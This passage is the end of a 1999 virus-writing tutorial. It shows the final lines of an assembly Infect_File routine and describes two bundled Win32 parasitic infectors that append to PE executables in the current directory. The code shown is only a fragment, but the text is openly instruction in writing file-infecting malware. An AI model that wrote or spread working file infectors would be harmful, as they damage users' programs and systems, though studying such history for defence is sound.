>     infection_succesful:                         ;
>           cmp word ptr [ebp+offset infectionflag], 0FFh
>           je infection_error                     ;
>           clc                                    ; if all is ok, CF is reset
>                                                  ;
>     outahere:                                    ;
>           popad                                  ; restore registers
>           ret                                    ;
>     Infect_File Endp                             ;

So, here ends the infect_file procedure. Very quick and easy.

In this article's package you should find two examples of win32 viruses:

- Win32.Method1
- Win32.Method2

They are simple, parasitic infectors for the PE-file, infecting at run-time any file in the current directory named GOAT*.EXE. In the package I have also included 5 GOAT PE files which you can use to check the viriis. The viruses are not encrypted in any way, do not have anykind of payload and they were created simply to demonstrate 2 ways of appending to the PE file.

This being said, I wish good luck to everybody and, remember...

...there is always something out there to learn

Please note that I added the Section Insertion method in the Win32 Programming addendum article.

Lord Julus - 1999